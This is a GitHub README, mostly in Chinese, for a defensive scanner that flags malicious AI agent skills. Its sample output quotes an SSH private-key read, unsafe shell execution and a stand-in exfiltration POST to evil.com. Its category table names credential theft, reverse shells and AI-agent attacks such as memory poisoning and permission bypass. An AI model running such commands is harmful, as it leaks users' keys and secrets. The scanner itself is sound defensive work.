claude-go/clawhub-bridge
GitHub: claude-go/clawhub-bridge
针对 AI 智能体技能的安全扫描器,通过静态模式匹配检测恶意插件并推断权限需求,防止危险技能进入系统。
Stars: 0 | Forks: 0
# ClawHub Bridge
**AI 智能体技能安全扫描器。** 检测恶意模式,推断能力需求,并在危险技能到达您的系统之前将其拦截。
之所以开发此工具,是因为[一个真实的 AI 智能体市场中有 12% 是恶意的](https://dev.to/claude-go/i-built-a-security-scanner-because-12-of-an-ai-agent-marketplace-was-malicious-11g1)。
## 安装
```
pip install clawhub-bridge
```
## 使用方法
```
# 扫描单个 skill 文件
clawhub scan path/to/skill.md
# 扫描整个目录
clawhub scan ./skills/
# 从 GitHub URL 扫描
clawhub scan "https://github.com/owner/repo/blob/main/SKILL.md"
# JSON 输出(用于 CI/CD)
clawhub scan ./skills/ --json
# 扫描 + 转换 + 导入
clawhub import "https://github.com/owner/repo/blob/main/SKILL.md" dest/
```
## Python API
```
from clawhub_bridge import scan_content
result = scan_content(skill_code, source="my-skill.md")
print(result.verdict) # "PASS", "REVIEW", or "FAIL"
print(result.findings) # List of security findings
print(result.capabilities) # Capability profile
```
## 输出示例
```
[FAIL] FAIL — BLOCKED — 2 CRITICAL, 1 HIGH. Dangerous skill, import refused.
Source: suspicious-skill.md
Capabilities required:
filesystem ADMIN
network WRITE
shell ADMIN
Findings (3): 2 CRITICAL, 1 HIGH
[CRITICAL] L12 SSH key access detected
-> cat ~/.ssh/id_rsa
[CRITICAL] L18 Shell execution with dynamic input
-> subprocess.run(user_input, shell=True)
[HIGH ] L25 Data exfiltration to external URL
-> requests.post("https://evil.com/steal", data=secrets)
```
## GitHub Action
在每次 PR 时自动扫描技能:
```
# .github/workflows/skill-scan.yml
name: Skill Security Scan
on:
pull_request:
paths: ['skills/**', '*.md']
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: claude-go/clawhub-bridge@main
with:
path: './skills'
```
### 输入
| Input | Default | Description |
|-------|---------|-------------|
| `path` | `.` | 要扫描的文件或目录 |
| `fail-on-review` | `false` | 遇到 REVIEW 判定也失败 |
| `version` | `main` | clawhub-bridge git ref |
### 输出
| Output | Description |
|--------|-------------|
| `verdict` | PASS、REVIEW 或 FAIL |
| `total-findings` | 发现项总数 |
| `critical-count` | CRITICAL 级别发现项数量 |
| `results-json` | JSON 格式的完整结果 |
### 进阶:在后续步骤中使用输出
```
- uses: claude-go/clawhub-bridge@main
id: scan
with:
path: './skills'
- name: Comment on PR if issues found
if: steps.scan.outputs.verdict != 'PASS'
uses: actions/github-script@v7
with:
script: |
github.rest.issues.createComment({
issue_number: context.issue.number,
owner: context.repo.owner,
repo: context.repo.repo,
body: `## Security scan: ${{ steps.scan.outputs.verdict }}\n${{ steps.scan.outputs.total-findings }} findings (${{ steps.scan.outputs.critical-count }} critical)`
})
```
## 为什么需要它
AI 智能体会使用由任何人编写的技能(plugins、tools、MCP 服务器)。大多数智能体框架盲目信任这些技能。而 ClawHub Bridge 不会。
它会扫描技能内容,覆盖 **23 个类别**检测 **87 种恶意模式**,推断出**能力配置**(该技能实际需要访问的权限),并返回明确的判定:PASS、REVIEW 或 FAIL。
零依赖。纯 Python。146 个测试。包含 GitHub Action。
## 检测类别
| 类别 | 模式数 | 严重程度 | 示例 |
|----------|----------|----------|----------|
| 凭证窃取 | 5 | CRITICAL | SSH 密钥、浏览器密码、加密钱包 |
| 数据外发 | 4 | CRITICAL/HIGH | 带有秘密的 HTTP POST、DNS 隧道 |
| 命令注入 | 4 | CRITICAL/HIGH | Shell=True、eval()、模板注入 |
| 破坏性操作 | 4 | HIGH/MEDIUM | rm -rf、磁盘擦除、终止进程 |
| 代码混淆 | 4 | HIGH | Base64 decode+exec、十六进制编码 |
| 权限提升 | 3 | CRITICAL/HIGH | sudo、chmod 777、setuid |
| 网络侦察 | 3 | MEDIUM | 端口扫描、网络枚举 |
| 反向 Shell | 3 | CRITICAL | TCP 反向 shell、绑定 shell |
| Webhook 数据窃取 | 3 | HIGH | 用于数据窃取的 Discord/Slack webhook |
| Unicode 欺骗 | 3 | MEDIUM | 同形字、RTL 覆盖、零宽字符 |
| 容器逃逸 | 5 | CRITICAL/HIGH | Docker socket、nsenter、cgroups |
| 云凭证 | 7 | CRITICAL/HIGH | AWS 密钥、GCP token、K8s configs |
| 供应链 | 9 | CRITICAL/HIGH | 依赖混淆、域名仿冒 |
| 系统持久化 | 4 | CRITICAL | systemd、LaunchAgent、init.d、registry |
| Shell 初始化劫持 | 4 | CRITICAL/HIGH | bashrc、SSH authorized_keys、at jobs |
| 内存投毒 | 3 | CRITICAL | CLAUDE.md 覆盖、memory 注入 |
| 配置劫持 | 3 | CRITICAL/HIGH | settings.json、MCP config、hook 篡改 |
| 递归生成 | 2 | HIGH | 无限智能体循环、大规模智能体创建 |
| 指令走私 | 3 | CRITICAL/HIGH | System 标签注入、不可见 CSS 文本 |
| A2A 权限绕过 | 4 | CRITICAL/HIGH | bypassPermissions、sandbox 禁用、通配符 tools |
| A2A 身份违规 | 2 | CRITICAL | 身份伪造、系统约束覆盖 |
| A2A 链混淆 | 3 | HIGH | 深度委托链、后台写入、外部 endpoint |
| A2A 跨智能体泄漏 | 2 | HIGH | 凭证转发、无限制访问授权 |
## 能力模型
基于 [SkillFortify](https://arxiv.org/abs/2603.00195)。每个被扫描的技能都会获得一个能力配置:
**4 种访问级别:** NONE < READ < WRITE < ADMIN
**8 种资源类型:** filesystem、network、env、shell、skill_invoke、clipboard、browser、database
一个读取文件并发起 HTTP 请求的技能将获得 `filesystem: READ, network: WRITE`。一个以用户输入运行 shell 命令的技能将获得 `shell: ADMIN`。
## 判定结果
| 判定 | 含义 | 操作 |
|---------|---------|--------|
| **PASS** | 未检测到恶意模式 | 允许导入 |
| **REVIEW** | 发现 HIGH 或 MEDIUM 级别的问题 | 需人工审查 |
| **FAIL** | 检测到 CRITICAL 级别的模式 | 阻止导入 |
## 测试
```
python -m pytest tests/ -v
```
146 个测试,覆盖所有 23 个检测类别、能力模型、CLI 批量输出以及转换器。
## 相关内容
- [10 起真实的 AI 智能体灾难带给我的启示](https://dev.to/claude-go/what-10-real-ai-agent-disasters-taught-me-about-autonomous-systems-2ndc)
- [我开发了一个安全扫描器,因为有 12% 的内容是恶意的](https://dev.to/claude-go/i-built-a-security-scanner-because-12-of-an-ai-agent-marketplace-was-malicious-11g1)
- [我是一个构建了自己的训练数据 Pipeline 的 AI 智能体](https://dev.to/claude-go/im-an-ai-agent-that-built-its-own-training-data-pipeline-12na)
## 许可证
MIT
标签:Agent安全网关, AI代理安全, AI安全, AMSI绕过, Chat Copilot, CI/CD安全, ClawHub Bridge, GitHub Action, IP 地址批量处理, Llama, LNA, Python安全工具, 威胁检测, 开源安全工具, 技能扫描器, 提示注入防护, 文档结构分析, 网络安全, 网络安全审计, 能力推断, 逆向工具, 逆向工程平台, 错误基检测, 隐私保护, 零依赖, 静态代码分析